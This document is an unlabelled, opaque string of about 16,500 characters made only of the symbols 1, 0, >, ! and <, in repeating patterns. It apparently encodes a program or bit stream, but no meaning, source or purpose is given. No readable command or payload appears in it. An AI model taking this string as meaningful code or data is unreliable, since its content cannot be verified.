>1!1>0>1>0>1!1!1!1!1>0>1!1>0>1>0>1!1!1!1>0>1!10110>1!1>0>1!1>0>1!1!1>0>1>0>1!1>0>1!1>0>1>0>1!1!1>0>1!1!1!<>1!1>0>1!1!1>0>1>0>1!1!1!1>0>1>0>1!1>0>1>0>1!1!1!1>0>1!1!1>0>1>0>1!1!10110>1!1>0>1>0>1!1>0>1!1!1!1!1>0>1>0>1!1!1!1!1>0>1!1!1>0>1!1>0>1!1>0>1!1!1>0>1>0>1!1!1!1!1!10110>1!1>0>1!1!1>0>10110>1!1!1!1>0>1!1>0>1!1>0>1!1>0>1!1>0>1!1!1>0>1>0>1!1>0>1!1>0>1>0>1!1>0>1>0>1!1>0>1!1!1>0>1!1>0>1>0>1!1!1!1>0>1!10110>1!1!10110>1!1>0>1>0>1!1>0>1!1>0>1!10110>1!1!1>0>1!1!1>0>1!1>0>1!1!1!<>1!1>0>1!1!1>0>1>0>1!1!1!1!1!10110>1!1>0>1!1!1>0>10110>1!1!1!1>0>1!1>0>1!1>0>1!1!1!1!1!<>1!10110>1!1!10110>1!1>0>1>0>1!1>0>1!1>0>1!1!1>0>1>0>1!1>0>1!1>0>1>0>1!1>0>1>0>1!1!10110>1!1>0>1>0>1!1>0>10110>1!1>0>1>0>1!1!1>0>1!1!10110>1!1>0>1!1!1>0>1!1>0>1>0>1!1!1>0>1>0>1!10110>1!1!10110>1!1>0>1>0>1!1>0>1!1>0>1!1!1!1>0>1!1!1!1!1!1!1!1!1!1!10110>1!1>0>1>0>1!1>0>10110>1!1>0>1>0>1!1>0>1!1!1>0>1!1>0>1>0>1!1!1!1>0>1!10110>1!1>0>1>0>1!1!1!1>0>1>0>1!1>0>1!1>0>1!1!1>0>1>0>1!1!1!1>0>1>0>1!1>0>1>0>1!1!1>0>1>0>1!1!1>0>1>0>1!1>0>1!1>0>1!1!1>0>1>0>1!1!1>0>1!1!1>0>1!1>0>1!1!10110>1!1>0>1!1!1>0>1!1>0>1>0>1!1>0>1>0>1!1>0>1!1>0>1!1!1>0>1>0>1!1!1!1>0>1!10110>1!1>0>1>0>1!1!10110>1!1>0>1!1!1>0>10110>1!1>0>1>0>1!1!1>0>1!1>0>1!1!1!<>10110>1!1>0>1>0>1!1!1>0>1>0>1!1!1>0>1>0>1!1!10110>1!1>0>1>0>1!1>0>1!1!1>0>1!1!1>0>1!1!1!1>0>1!1!1>0>1>0>1!1>0>10110>1!1>0>1>0>1!1!1!1!1>0>1!1>0>1>0>1!1!1!1>0>1!10110>1!1>0>1!1>0>1!1!1>0>1>0>1!1>0>1!1>0>1>0>1!1!1>0>1!1!1!<>1!1!1>0>10110>1!1!1!1>0>1!10110>1!1>0>1!1!1>0>1!1>0>1>0>1!1!1>0>1!1!10110>1!1>0>1!1>0>1!10110>1!1>0>1>0>1!1!1!1>0>1>0>1!1>0>1!1>0>1!1!1>0>1>0>1!1>0>1>0>1!1!1>0>1!1>0>1!1!10110>1!1>0>1!1!1>0>1!1>0>1>0>1!1>0>1>0>1!1>0>1!1>0>1!1!1>0>1>0>1!1!1!1>0>1!10110>1!1>0>1>0>1!1!10110>1!1>0>1!1!1>0>10110>1!1>0>1>0>1!1!1>0>1!1>0>1!1!1!<>1!1>0>1!1!1>0>1>0>1!1!1!1>0>1!10110>1!1>0>1!1>0>1!10110>1!1!1>0>1!1!1!1>0>1>0>1!1>0>1!1!1>0>1!1>0>1>0>1!1!1>0>1!1!10110>1!1!1!1>0>1!10110>1!1!1!1>0>1!10110>1!1>01010111>01!1!1!1>0>1>0>1!1>0>1>0>1!1>0>1!1!1!1!1>0>1>0>1!1>0>1>0>1!1!1!1>0>1>0>1!1>0>1!1!1>0>1!1>0>1>0>1!1!1!1>0>1!10110>1!1>0>1!1!1>0>1!1>0>1>0>1!1!1>0>1!1!10110>1!1>0>1>0>1!1!1!1!1>0>1!1>0>1!1>0>1!1!1>0>1>0>1!1!1>0>1>0>1!1!1>0>1>0>1!1>0>1!1!1!1!1>0>1>0>1!1>0>1>0>1!1!1>0>1!1>0>1!1>0>1!1!1>0>10110>1!1!1!1>0>1!10110>1!1>0>1!1!1>0>1!1>0>1>0>1!1!1>0>1!1!10110>1!1>0>1!1>0>1!10110>1!1>0>1>0>1!1!1!1>0>1>0>1!1>0>1!1>0>1!1!1>0>1>0>1!1>0>1>0>1!1!1>0>1!1>0>1!1!1!1!1!1!1!1!1!10110>1!1!1>0>1>0>1!1!10110>1!1>0>1>0>1!1>0>1!1!1>0>1!1>0>1>0>1!1!1>0>1!1!10110>1!1!1!1>0>1!10110>1!1>0>1>0>1!1!1>0>1!1>0>1!1!1!<>1!1>0>1!1!1>0>1>0>1!1!1!1>0>1!10110>1!1>0>1!1>0>1!10110>1!1!1>0>1!1!1!1>0>1>0>1!1>0>1!1!1>0>1!1>0>1>0>1!1!1>0>1!1!10110>1!1!1!1>0>1!10110>1!1!1!1>0>1!10110>1!1>01010111>01!1!1!<>1!1!1>0>10110>1!1>0>1!1!1!1!1>0>1>0>1!1!1>0>1!1!10110>1!1!1>0>1!1!10110>1!1>01010111>01!1!1!<>1!1>0>1!1!1>0>1>0>1!1!1!1!1!10110>1!1>0>1!1!1>0>10110>1!1!1!1>0>1!1>0>1!1>0>1!1>0>1!1>0>1!1!1>0>1>0>1!1>0>1!1>0>1!10110>1!1!1!1>0>1>0>1!1>0>1>0>1!1>0>1!1!1!1!1>0>1>0>1!1!1>0>1>0>1!1>0>1!1>0>1!1!1!<>1!1>0>1>0>1!1>0>1>0>1!1>0>1!1>0>1!1!1>0>1>0>1!1!1!1>0>1!10110>1!1>0>1>0>1!1!10110>1!1>0>1!1!1>0>10110>1!1>0>1>0>1!1!1>0>1!1>0>1!1!1!1!1!<>1!10110>1!1>0>1>0>1!1!1!1>0>1>0>1!1>0>1!1>0>1!1!1>0>1>0>1!1!1>0>1!1>0>1!1>0>1>0>1!1!1>0>1!1!1!1>0>1>0>1!1>0>10110>1!1!1>0>1!1!1!<>1>0>1!1!10110>1!1>0>1!1>0>1!1!1>0>1>0>1!1>0>1>0>1!1!1!1>0>1>0>1!1>0>1!1!1>0>1!1>0>1>0>1!1!1>0>1>0>1!10110>1!1!1>0>1!1!10110>1!1>0>1!1>0>1!1!1>0>1>0>1!1>0>1>0>1!1!1>0>1!1>0>1!1!1>0>1!1!10110>1!1>0>1!1>0>1!1!1>0>1>0>1!1!1!1>0>1>0>1!1>0>1>0>1!1>0>1!1!1>0>1!1>0>1>0>1!1!1!1!1!10110>1!1>0>1!1>0>1>0>1!1>0>1>0>1!1>0>10110>1!1>0>1>0>1!1>0>1>0>1!1!1!1!1>0>1!1!10110>1!1>0>1!1!1>0>1!1>0>1!1!1>0>1>0>1!1>0>1!1>0>1>0>1!1>0>1>0>1!1>0>1!1!1>0>1!1>0>1>0>1!1!1!1>0>1!10110>1!1!10110>1!1>0>1>0>1!1>0>1!1>0>1!10110>1!1!1>0>1!1!1>0>1!1>0>1!1!10110>1!1>0>1!1!1>0>1!1>0>1>0>1!1>0>1>0>1!1>0>1!1>0>1!1!1>0>1>0>1!1!1!1>0>1!10110>1!1>0>1>0>1!1!10110>1!1>0>1!1!1>0>10110>1!1>0>1>0>1!1!1>0>1!1>0>1!1!1!<>1!1>0>1!1!1>0>1>0>1!1!1!1>0>1!10110>1!1>0>1!1>0>1!10110>1!1!1>0>1!1!1!1>0>1>0>1!1>0>1!1!1>0>1!1>0>1>0>1!1!1>0>1!1!10110>1!1!1!1>0>1!10110>1!1!1!1>0>1!10110>1!1>01010111>01!1>0>1!1>0>1>0>1!1>0>1>0>1!1>0>1>0>1!1!10110>1!1>0>1!1!1!1!1>0>1>0>1!1!1!1>0>1!1!1>0>1>0>1!1!1!1>0>1>0>1!1>0>1>0>1!1>0>1!1!1>0>1!1!1>0>1!1>0>1>0>1!1!10110>1!1>0>1>0>1!1!10110>1!1>0>1!1>0>1!1!1>0>1>0>1!1!1>0>1!1!10110>1!1!1!1!1!10110>1!1!1!1!1!10110>1!1>0>1!1>0>1!10110>1!1>0>1>0>1!1!1>0>1!1>0>1!1!1!1!1!<>1>0>1!1>0>1>0>1!1!1!1>0>1>0>1!1>0>1>0>1!1!1!1>0>1!1!1>0>1>0>1!1!10110>1!1>0>1!1!1!1!1>0>1!1>0>1>0>1!1!1!10110>1!1>0>1!1!1!1>0>1!1!1>0>1>0>1010>01>0>1!1!1>0>1>0>1!1!1!1!1!<>10110>1!1!1!1!1>0>1!<>1!1!1>0>1>0>1!1!1!1!1!1!1!1!1!1!1!1!10110>1!1!1!1!1!1!<>1!1!1>0>1>0>1!1!1!1!1!<>1!1>0>1>0>1!1!1!1!1>0>1!<>1!1!1!1!1>0>1!1!1!1!1!1!<>1>0>1!1!1!1!1>0>1!<>1!1!1>0>1>0>1!1!1!1!1!<>1>0>1!1>0>1!1!1!1!1!1!<>1!1!1>0>1>0>1!1!1!1!1!1!<>1!1>0>1!1!1!1!1!1!<>1!1!1>0>1!1!1!1!1!1!<>1!1!1>0>1!1!1!1!1!1!<>1!1!1>0>1>0>1!1!1!1!1!1!1!1!<>1!1!1!1!1>0>1!<>1!10110>1!1!1!1!1!1!1!1!1!1!1!10110>1!1!1!1!1!1!1!<>1!1>0>1>0>1!10110>1!1!1!<>1>01010111>01!<>1!1!1!1!1>0>1!1!1!1!<>1!1>01010111>01!<>1!1!1!1!1>0>1!1!1!1!1!1!<1010111>01!<>1!10110>1!1!1!1!1!<>1>0><>1!<>1!1!1>0>1>0>1!1!1!1!1!1!<><>1!1>01010111>01>0>1!1!1>0>1!1!1!1!1!1!1!1!<>1!1!1!1>0>1>0>1!1>01010111>01!1>0>1>0>1!1!1!1!1!1!1!<1010111>01!1!1>01010111>010110>1!10110>1!1!1!1!1!1!1!1!1!<>1>0>1!1>0>1!1!<>1!1!1!1!1!1!1!<>1!1>0>10110>1!1!1!1>01010111>010110>1!10110>1!1!1!1!1!<>10110>1!1!1!1>01010111>01>0>1!1!1>0>10110>1!1!1!<>1!1!10110>1!1>0>1!1>0><>1010>010110>1!1!1!1>01010111>01!1!1>0>1>0>10110>1!1!1!<>1!1>0>1!1>0>1>0>1!1!1!1>01010111>01>0>1!1!1>0>10110>1!1!1!1!1!<>1!1>0>1>0>1!1!1!1>01010111>010110>1!10110>1!1!1!<>1>0>1!1!1>0>1>0>1!1!1!1>0><>1!1>0>1!10110>1!1!1!1!1!1!1!1!1!10110><1010111>01!1>0>1!1!10110>1!1!1!1!1!1!1!1!1!10110><>1!1!1!1!1!1!1!1!1!1!10110>1!1!1!1!1!1!1!1!1!10110><1010111>01>0>1!1>0>1>0>1!1>0>1>0>1!1!1!1!1!1!1!1!1!10110><><>1>0>1!1>0>1!1>0>1>0>1!1!1!1!1!1!1!1!1!10110><1010111>01!1!1!1>0>1!1>0>1>0>1!1!1!1!1!1!1!1!1!10110><>1!<>1>0>1!1!1>0>1>0>1!1!1!1!1!1!1!1!1!10110><>1!1!1!1!1!10110>1!1!1!1>0>1>0>1!1!1!1!1!1!1!1!1!10110><><>1!1!1!1!1>0>1>0>1!1!1!1!1!1!1!1!1!10110><1010111>01!1>0>10110>1!1>0>1!1!1!1!1!1!1!1!1!101101010111>01!1!1!1>0>1!1!1!1>0>1>0>1!1>0>1!1!1>0>1!1!<>1!1!1>0>1!1!1!1>0>1!1!1!1!1!1!1!1010>01>0>1!<>1!1!1!1>0>1!1!1!1>0>1!1!1>0>1!1!1>0>1!1!<>1!1!1>0>1!1!1!1>0>1!1!1!1!1!1!1010>01>0>1!1!<>1!1!1!1>0>1!1!1!10110>1!1!1!1>0>1!1!<>1!1!1>0>1!1!1!1>0>1!1!1!1!1!1!1!1!1!1!1!1!1!1!1!1010>01>0>1!1!1!1>0>1!1!1!10110>1!1!1!1>0>1!1!<>1>01010111>01!1!1!1!1!1!1!1!1!1!1!1!1!1!1!1010>01>0>1!1!1!1>0>1!1!1!10110>1!1!1!1>0>1!1!<><>1!1!1!1!1!1!1!1!1!1!1!1!1!1!1!1010>01>0>1!1!1!1>0>1!1!1!1>0>1!1!1>0>1!1!1>0>1!1!<>1>0>1!1>0>10110>1!1!1!1!1!1!1!1010>01>0>1!1!<>1!1!1!1>0>1!1!1!10110>1!1!1!1>0>1!1!<>1>0>1!1>0>10110>1!1!1!1!1!1!1!1!1!1!1!1!1!1!1!1!1010>01>0>1!1!1!1>0>1!1!1!10110>1!1!1!1>0>1!1!<>1!1!1>0>10110>1!1!1!1!1!1!1!1!1!1!1!1!1!1!1!1!1010>01>0>1!1!1!1>0>1!1!1!10110>1!1!1!1>0>1!1!<>1>0>1!1!10110>1!1!1!1!1!1!1!1!1!1!1!1!1!1!1!1!1010>01>0>1!1!1!1>0>1!1!1!10110>1!1!1!1>0>1!1!<>1!1!1!10110>1!1!1!1!1!1!1!1!1!1!1!1!1!1!1!1!1010>01>0>1!1!1!1>0>1!1!1!1>0>1!1!1>0>1!1!1>0>1!1!<>1>0>1!1>0>1!1>0>1>0>1!1!1!1!1!1!1!1010>01>0>1!1!<>1!1!1!1>0>1!1!1!10110>1!1!1!1>0>1!1!<>1>0>1!1>0>1!1>0>1>0>1!1!1!1!1!1!1!1!1!1!1!1!1!1!1!1!1010>01>0>1!1!1!1>0>1!1!1!10110>1!1!1!1>0>1!1!<>1!1!1>0>1!1>0>1>0>1!1!1!1!1!1!1!1!1!1!1!1!1!1!1!1!1010>01>0>1!1!1!1>0>1!1!1!10110>1!1!1!1>0>1!1!1!1!1!1!1!1!10110>1!1!1>0>1>0>1!1!1!1!1!1!1!1!1!1!1!1!1!1!1!1!1010>01>0>10110>1!1!1!1!1!10110>10110>1!1!<>10110>1!1!1!1!1!1!1!1!1!1!1010>01010>010110>1!1!1!1!1!<>1>0>1!1>0>1>0>1!1!1!1!1!1!<>1>0>1!1>0>1!1!1!1!1!1!1!1!<>1>0>1!1!1!1!1!1!<>1>0>1!1>0>1!1!1!1!1!1!1!1!1!1!1!10110>1!1>0>1!1!1!1!1!1!1!<>1!1>0>1!1!1!1!1!<>1!1>0>1!1>0>1!1!1!1!1!<>1>0>1!1!1>0>1!1!1!1!1!1!1!<>1!1>0>1!1!1!1!1!1!<>1!1!1!1!1!1!1!1!1!1!1!1!1!1!1!10110>1!1!1!1!1!1!1!<>1!1!1!1!1!1!1!1!<>1!1>0>1>0>1!1!1!1!1!1!1!<>1!1!1!1!1!1!1!1!1!1!<>1>0>1!1!1!1!1!1!1!<>1!1!1!1!1!1!1!1!<>1>0>1!1>0>1!1!1!1!1!1!1!<>1!1!1!1!1!1!1!1!1!<>1!1>0>1!1!1!1!1!1!1!<>1!1!1!1!1!1!1!1!<>1!1!1>0>1!1!1!1!1!1!1!<>1!1!1!1!1!1!1!1!1!1!1!<>1!1!1!1!1!1!1!<>1!1!1!1!1!1!1!1!1!1!1!1!1!1!10110>1!1!1!1!1!1!1!1!<>1!1!1!1!1!1!1!1!1!<>1>0>1!1!1!1!1!1!1!1!<>1!1!1!1!1!1!1!1!<>1!1>0>1!1!1!1!1!1!1!1!<>1!1!1!1!1!1!1!1!1!1!<>1!1!1!1!1!1!1!1!<>1!1!1!1!1!1!1!1!<>1>0>1!1!1!1!1!1!1!1!<>1!1!1!1!1!1!1010>01>0>1!1!1!1>0>1!1!1!1!1>0>1!10110>1!1!1!1!1!<>1!1>0>1!1!1!1010>01010>01010>01010>01010>01>0>1!1!1!1!1!1!1!<>1!1!1!1!1!1010>01>0>1!1!<>1!1!1!1!1!1!1!1!1!1!<>1!1>0>1!1!1!1010>01010>01010>01010>01010>01>0>1!1!1!1!1!1!1!<>1!1!1!1!1!1!1010>01>0>1!1!1!1>0>1!1!1>0>1!1!1!1!1>0>1>0>1!1!1!1!1!<>1!1>0>1!1!1!1010>01010>01010>01010>01010>01>0>1!1!1!1!1!1!1!<>1!1!1!1!1!1!1010>01>0>1!1!1!1>0>1!1!1!1>0>1!1!1>0>1!1>0>1!1!1!1!1!<>1!1>0>1!1!1!1010>01010>01010>01010>01010>01>0>1!1!1010>01010>01>0>1!1!1!1>0>1!1!1!1>0>1>0>1!1!1!1>0>1!1!1!<>1>0>1!1>0>1!1!1!1010>01010>01010>01010>01010>01>0>1!1!1!1010>01010>01>0>1!1!1!1>0>1!1!1>0>1!1>0>10110>1!1!1!1!1!<>1!1!1!1!1!1!1010>01010>01010>01010>01010>01>0>1!1!1!1!1010>01>0>1!1!1!1>0>1!1!1>0>1!1!10110>1!1!1!1!<>1!1!1!1!1!1010>01010>01010>01010>01010>01>0>1!1!1!1!1!1!1!1!1!1!1!1!1010>01>0>1!1!1>0>1!1!1!1!1!1!1!<>1!1>0>1>0>1!1>0>1010>01>0>10110>1!1>0>1!1!1!1!1>0>10110>1!1!1!1!1!<>1!1>0>1!1>0>1010>01>0>1>0>1!1>0>1!1>0>1!1!1!1!1>0>1!1!1!1>0>1>0>1!1!<>1!1>0>1!1!1>0>1010>01>0>1!1!1>0>1!1>0><>1!1!1!1!1!<>1>0>1!1!1!1>0>1!1!1!1!1!1010>01>0><>1!1>0>1!1!1!<>1!1!<>1!1!1!1>0>1!1!1!1>0>1!1>0>1!1>0>1!1!1!1!<>1!1>0>1>0>1!1!1!1!1>0>1!<>1>0>1!1!1!1!1>0>1!1!1!<>1!1!<>1!1!1!1>0>1!1!1>0>1!10110>1!1!1!1!1!<>1>0>1!1>0>1!1!1!1!1>0>1!1!1!1!1!1!1!<>1!1!1!1!<>1!1!1>0>1>0>1!1!1!1!<>10110>1!1>0>1!1!1!1!1!1!<>1>0>1!1>0>1!1!1!1!<>1!1!1>0>1!1>0>1!1!1!1!1!<>1>0>1!1!1>0>1!1!1!1!<>1>0>1!1!1!1>0>1!1!1!1!1!1!1!1!1!<>1!1!1!1!<>1!10110>1!1!1!1!1>0>1!1!1!1>0>1!1!1!1!1>0>1!1>0>1!1!1!10110>1!<>1!1!1!1>0>1!10110><>1!1!1>0>1>0>1!1!101101010111>01!1!1!1!1>0>1!1!10110><>1>0>1!1>0>1!1!1!10110>1!1!<1010111>01>0><>1!1>0>1>0>10110>1!1>0>1>01010111>010110>1!10110>1!1>0>1>0><>1!1!1!10110>1!1>0>1>01010111>01!1>0>1!1>0>1!1>0>1>0>1!1>0>1>01010111>01!1!1>0>1!1!1>0>1>0>1!1>0>1>0>1!<>10110>1!1>0>1!1>0>1>01010111>01!1>0>1!1>0>1>0>1!1>0>1!1>0>1>0>1!<>1>0>1!1>0>1!1>0>1!1>0>1>0><>1!1!1!1>0>1!1>0>1!1>0>1>01010111>01!1>0>1!1>0>1!1!1>0>1!1>0>1>01010111>01!1>0>1>0>10110>1!1!1>0>1>0>1!<>1!10110>1!1!1>0>1>0>1!1!<>1!1>0>1>0>1!1!1>0>1>01010111>01>0>1!1>0>1>0>1!1>0>1!1!1>0>1>01010111>01>0>1!1>0>1!1!1>0>1!1!1>0>1>0><>1!1!1!1!1>0>1!1!1>0>1>0>1!<1010111>01!1>0>1!1!1!1!1!10110>1!1>0>1>0>10110>1!1>0>1!1!1!1!1!1!10110>1!1>0>10110>1!1>0>1!<>1!1!1>0>10110>1!1>0>1!1!1!1!1!10110>1!1>0>1!10110>1!1>0><>1!1!1>0>1!10110>1!1>01010111>01!1>0>1>0>1!1!1>0>1>0>1!1!<>1>0>1!1>0>1>0>1!1!1!1!1!1!1!1!1!1!1!1!1!1010>010110>1!1!1!<>1!1!1!1!1!1!1!1!1!<>1!1>0>1!1>0>1!1010>01>0>1>0>1!1!1!<>10110>1!1!1!<>1!1!1!1!1!1!1!1!1!1!<>1!1!1>0>1!1!1010>01>0>1!1!<>1!1>0>1>0>1!1>0>1!1!1!<>1010>01>0>1!1!1!1!1010>01>0>1!1!1!1!<>1>0>1!1!1!1!<>1!1!1!1!1!1!1!1!1!1!1!1!1!1!10110>1!1!1!1!1!1!1!1!1010>01010>01>0>1!1!1!1!1!1!1!1!1!<>1!1>0>1>0>1!1!1!1!1!1!1!1!1010>01010>01>0>1!<>1>0><>1!1!1>0>1>0>1!1!1!1!1!1!1!<>10110>1!1!1>0>1>0>1!1!1!1!1!1!1!1!10110>1!1!1!1!1!<>1>0>1!1>0>1!1!1!1!1>0>1>0>1!1!1!1!1!1!1!1!10110>1!1!1!1!1!<>1!1!1>0>1!1!1!1!1>0>1!1>01010111>01!1!1>0>1>0>1!1!1!1>0>1!<>1>0>1!1!1>0>1!10110>1!1!1>0>1!1!1!<>1!1!1>0>1!1>01010111>01!1!1>0>1>0>1!1!1!1!1!<>1>0>1!1>0>1!1>01010111>01!1!1!1!1!<>1>0>1!1>01010111>01!1!1>0>1>0>1!1!1!1!1!<>1>0>1!1>0>1!1>01010111>01!1!1!<>1>0>1!1>0>1!1>01010111>01!1!1>0>1>0>1!1!1!1!1!<>1>0>1!1>0>1!1>01010111>01!1!1!1!<>1!1>0>1!1>01010111>01!1!1>0>1>0>1!1!1!1!1!<>1>0>1!1>0>1!1>01010111>01!1!1!<>1!1!1>0>1!1>01010111>01!1!1>0>1>0>1!1!1!1!1!<>1>0>1!1>0>1!1>01010111>01!1!1!1!1!1!<>1!1>01010111>01!1!1>0>1>0>1!1!1!1!1!<>1>0>1!1>0>1!1>0>1!1!10110>1!1!1!1!<>10110>1!1>01010111>01!1!1>0>1>0>1!1!1!1!1!<>1>0>1!1>0>1!1>0>1!1!10110>1!1!1!1!1!1!1!1!1!1!1!10110>1!1>01010111>01!1!1>0>1>0>1!1!1!1!1!<>1>0>1!1>0>1!1>0>1!1!10110>1!1!1!1!<>1!1>0>1>0>1!1>01010111>01!1!1>0>1>0>1!1!1!1!1!<>1>0>1!1>0>1!1>0>1!1!10110>1!1!1!1!1!1!<>1>0>1!1>01010111>01!1!1>0>1>0>1!1!1!1!1!<>1>0>1!1>0>1!1>0>1!1!10110>1!1!1!1!1!<>1!1>0>1!1>01010111>01!1!1>0>1>0>1!1!1!1!1!<>1>0>1!1>0>1!1>0>1!1!10110>1!1!1!1!<>1!1!1>0>1!1>01010111>01!1!1>0>1>0>1!1!1!1!1!<>1>0>1!1>0>1!1>0>1!1!10110>1!1!1!1!1!1!1!<>1!1>01010111>01!1!1>0>1>0>1!1!1!1!1!<>1>0>1!1>0>1!1>0>1!1!1!1>0>1>0>1!1!1!1!1!1!1!1!1!1!1!10110>1!1>01010111>01!1!1>0>1>0>1!1!1!1!1!<>1>0>1!1>0>1!1>0>1!1!1!1>0>1>0>1!1!1!1!<>1!1>0>1>0>1!1>01010111>01!1!1>0>1>0>1!1!1!1!1!<>1>0>1!1>0>1!1>0>1!1!1!1>0>1>0>1!1!1!1!1!1!<>1>0>1!1>01010111>01!1!1>0>1>0>1!1!1!1!1!<>1>0>1!1>0>1!1>0>1!1!1!1>0>1>0>1!1!1!1!<>1>0>1!1>0>1!1>01010111>01!1!1>0>1>0>1!1!1!1!1>0><>1>0>1!1!10110>10110><>1>0>1!1!1!1>0>1>0>1!1>0>1!1>01010111>01!1>0>1!1>0>1>0>1!1>0>1!1>0><>1>0>1!1>0>1!1>0>1!1!1!1!1!1!1!1!1!1!1!10110>1!1>0>1!1!1>0>1!1>0><>1!1!1!1!1>0>1!1!1>0><>1>0>1!1!1!1>0>1!1!1!1!1!1!1!1!1!1!1!10110>1!1>0>1!1!1>0>1!1>01010111>01!1!1>0>1>0>1!1!1!1!1!<>1>0>1!1>0>1!1!1!1!1!1!1!1!1!1!1!1!1!10110>1!1>0>1!1!1>0>1!1>0><>1!1!1!1!1>0>1!1!1>0><>1>0>1!1>0>1>0>1!1!1!1!1!1!1!1!1!1!1!1!10110>1!1>0>1!1!1>0>1!1>0><>1>0>1!1>0>1!1!1>0>1!1>0><>1>0>1!1!1>0>1!1!1!1!1!1!1!1!1!1!1!1!10110>1!1>0>1!1!1>0>1!1>0><>1!1!1!1!1>0>1!1>0>1!<>1>0>1!1!1>0>10110>1!1!1!1!1!1!1!1!1!10110>1!1>0>1!1!1>0>1!1>01010111>01>0>1!1>0>1!1!1>0>1!1>0>1!<>1>0>1!1>0>1>0>10110>1!1!1!1!1!1!1!1!1!10110>1!1>0>1!1!1>0>1!1>0><>1>0>1!1>0>1!1>0>1!1!1>0><>1>0>1!1!1!1!1!1!1!1!1!1!1!1!1!1!1!10110>1!1>0>1!1!1>0>1!1>01010111>01!1>0>1>0>1!1!1!1>0>1!1>0><>1>0>1!1>0>1!1!1!1!1!1!1!1!1!1!1!1!1!10110>1!1>0>1!1!1>0>1!1>0><>1!1!1!1!1>0>1>0>1!1>0><>1>0>1!1!1>0>1>0>1!1!1!1!1!1!1!1!1!1!1!10110>1!1>0>1!1!1>0>1!1>0><>10110>1!1!1!1!1>0>1!<>1!1>0>1!1>0>1!1!1!1!1!1!1!1!1!1!10110>1!1!1>0>1!1!1>0>1!1>01010111>01!1!1>0>1>0>1!1!1!1!1!<>1>0>1!1>0>1!1!1!1!1!1!1!1!1!1!1!1!10110>1!1!1>0>1!1!1!1!1>01010111>01!1>0>1!1>0>1>0>1!1>0>1!1>0>1!1!1!1>0>1!1!1>0>1>0>1!1>0>1!1!1!1!1!1!1!1!<>1!1!1!1>0>1!1!1!1>0>1!1!1!1!1!1!10110>1!1>0>1!1>0>1!1>0>1!1!1!1>0>1!1!1!1>0>1!1!1!1!1!1!1!1!1!1!<>1!1!1!1>0>1!1!1!1>0>1!1!<>1!1>0>1!1>0>1>0>1!1!1!1!1>0>1!1!1!1>0>1>0>1!1>0>10110>1!1!1!1!<>1!1!1!1>0>1!1>0>1!1!1!1!1!1!1!10110>1!1>0>10110>1!1>0>10110>1!1!1!1>0>1!1!1>0>1!1!1>0>1>0>1!1!1!1!<>1!1!1!1>0>1!1!1!1>01010111>01!1>0>1>0>1!1!1>0>1!1>0>1!1!1!1!1>0>1!1!1!1>0>1>0>1!1!1!1!1>0>1!1>0><>1!1!1>0>1>0>10110>1!1!1!<>1>0>10110>1!1!1>0>1!1!1!1!1>0>1!1!1>0>1!1!1!1>0>10110>1!1>0><>1!1!1!1>0>10110>1!1!1>01010111>01!1!1!1!1>0>1!1>0>1>0>1!1!1!1!1>0>1!1!1>0>1>0>1!1>0>1!10110>1!1>0><>1!1!1!10110>10110><>1>0>1!1!1!1>0>1!1!1>0>1>0>10110>1!1!1!<>1!1!1>0><>1!1!1!1!10110>1!1>0><>1>0>1!1!1>0>1!1>0>1!1>0>1!1!1!1!1>0>1!1!1>0>1!1!1!1!10110>1!1>0><>1!1!1>0>1>0>1!1>0>1>0>1!1!1>01010111>01!1>0>1>0>1!1!1!1!1>0>1!1!1!1!1>0>1!1!1!1!1!10110>1!1!1!1>0><>1!1!1>0>1>0>1!1>0>1>0>1!1!1>0><>1!1>0>1>0>1!1!10110>10110>1!1!1!1!1>0>1!1!1>0>1!1>0>1>0>1!1>0><>1!1!1!1>0>1!10110>1!1!1!1!1!1!1!10110>1!1>0>10110>1!1>0>10110>1!1!1!1>0>1!1!1>0>1!1!1>0>1>0>1!1>0><>1!1!1!1>0>1!1>0>1>0>1!1!1>0>1!1!1!<>1!1!10110>10110>1!1!1!1>0>1!1!1>0>1!1>0>1!1>0>1!1>0><>1!1!10110>1!1>0>1>0>1!1!1!1!1!1!1!10110>1!1>0>10110>1!1>0>10110>1!1!1!1>0>1!1!1>0>1!1!1>0>1>0>1!1>0><>1!1!1>0>1!1>0>1!1>0>1!1!1>01010111>01!1!1>0>1!1!1!1>0>1>0>1!1!1!1!1>0>1!1!1>0>1!1!1>0>1>0>1!1>0>1>0>1!1>0><>1!1!1!1>0>1!1!1>0>1!1!1>0><1010111>01>0>1!1!1!1!1>0>1!1!1!10110>10110>1!1!1>0><>1!1!1!1>0>1!1!1>0>1!1!1>0>1!<>1>0>10110>1!1>0>1!1!1!1!1>0><>1!1>0>1>0>1!1>0><>1!1!1!1>0>1!1!1>0>1!1!1>01010111>010110>1!1>0>1>0>1!1>0>1!1!1!1!1>0>1!1!1!1>0>1>0>1!1!1!1>0>1>0>1!1>0><>1!1!1>0>1!1!1!1>0>1!1!1>01010111>01!1>0>1!1!1>0>1>0>1!1>0>1!1!1!1!1>01010111>01!1>0>1!1>0>1!1>0><><>1!1!1>0><>10110>1!1>0>1!1>0>1!1!1!1!1>0>1!1!1>0>1!1!1!1!1>0>1!1>0>1!1>0><><>1>0>1!1!1!1!1!1!1!10110>1!1>0>1>0>10110>1!1!1!1!1>0>1!1!1!1!10110>1!1!1>0>1!1>0><>1!1!1>0>10110>1!1!1!1>0>1!1!1!1!1!10110>1!1>0>1!1>0>1!1>0>1!1!1!1!1>0>1!1!1>0>1!1>0>1>0>1!1!1!1>0>1!1>0><>1!1!1>0>10110>1!1!1!1>0><>1!1!1>0>1!1>0><>1!1!1!1>0>1>0>1!1!1!1>0>1>0>1!1>0><>1!1!1!10110>1!1!1!1>01010111>01!1>0>1>0>1!1!1>0>1!1>0>1!1!1!1!1>0>1!1!1!1>0>1>0>1!1!1!1!1>0>1!1>0><>1!1!1!10110>1!1!1!1>0>1!1!1!1!1!10110>1!1!1!1>0>1!1>0>1!1!1!1!1>0>1!1!1!10110>10110>1!1!1>0><>1!1!1!10110>1!1!1!1>0><>1!1!1!1!1>0>1!1>0>1!1!1!1!1>0>1!1!1!10110>10110>1!1!1>0><>1!1!1!10110>1!1>0>1!1!1!1!1!1!1!10110>1!1>0>10110>1!1>0>10110>1!1!1!1>0>1!1!1>0>1!1!1>0>1>0>1!1>0><>1!1!1>0>1>0>1!1>0>1!1!1!1>0><>1>0>10110>1!1!1>0>1!1!1!1!1>0>1!1!1>0>1!1>0>1!10110>1!1!1>0><>1!1!1!1>0>1!1>0>1!1!1>0><>1!1>0>1!1>0>1!1!1>0>1>0>1!1!1!1!1>0>1!1!1!1!1!1!10110>1!1!1>0><>1!1!1!1>0>1!1>0>1!1!1!1>0>1!1!1!1!1!1011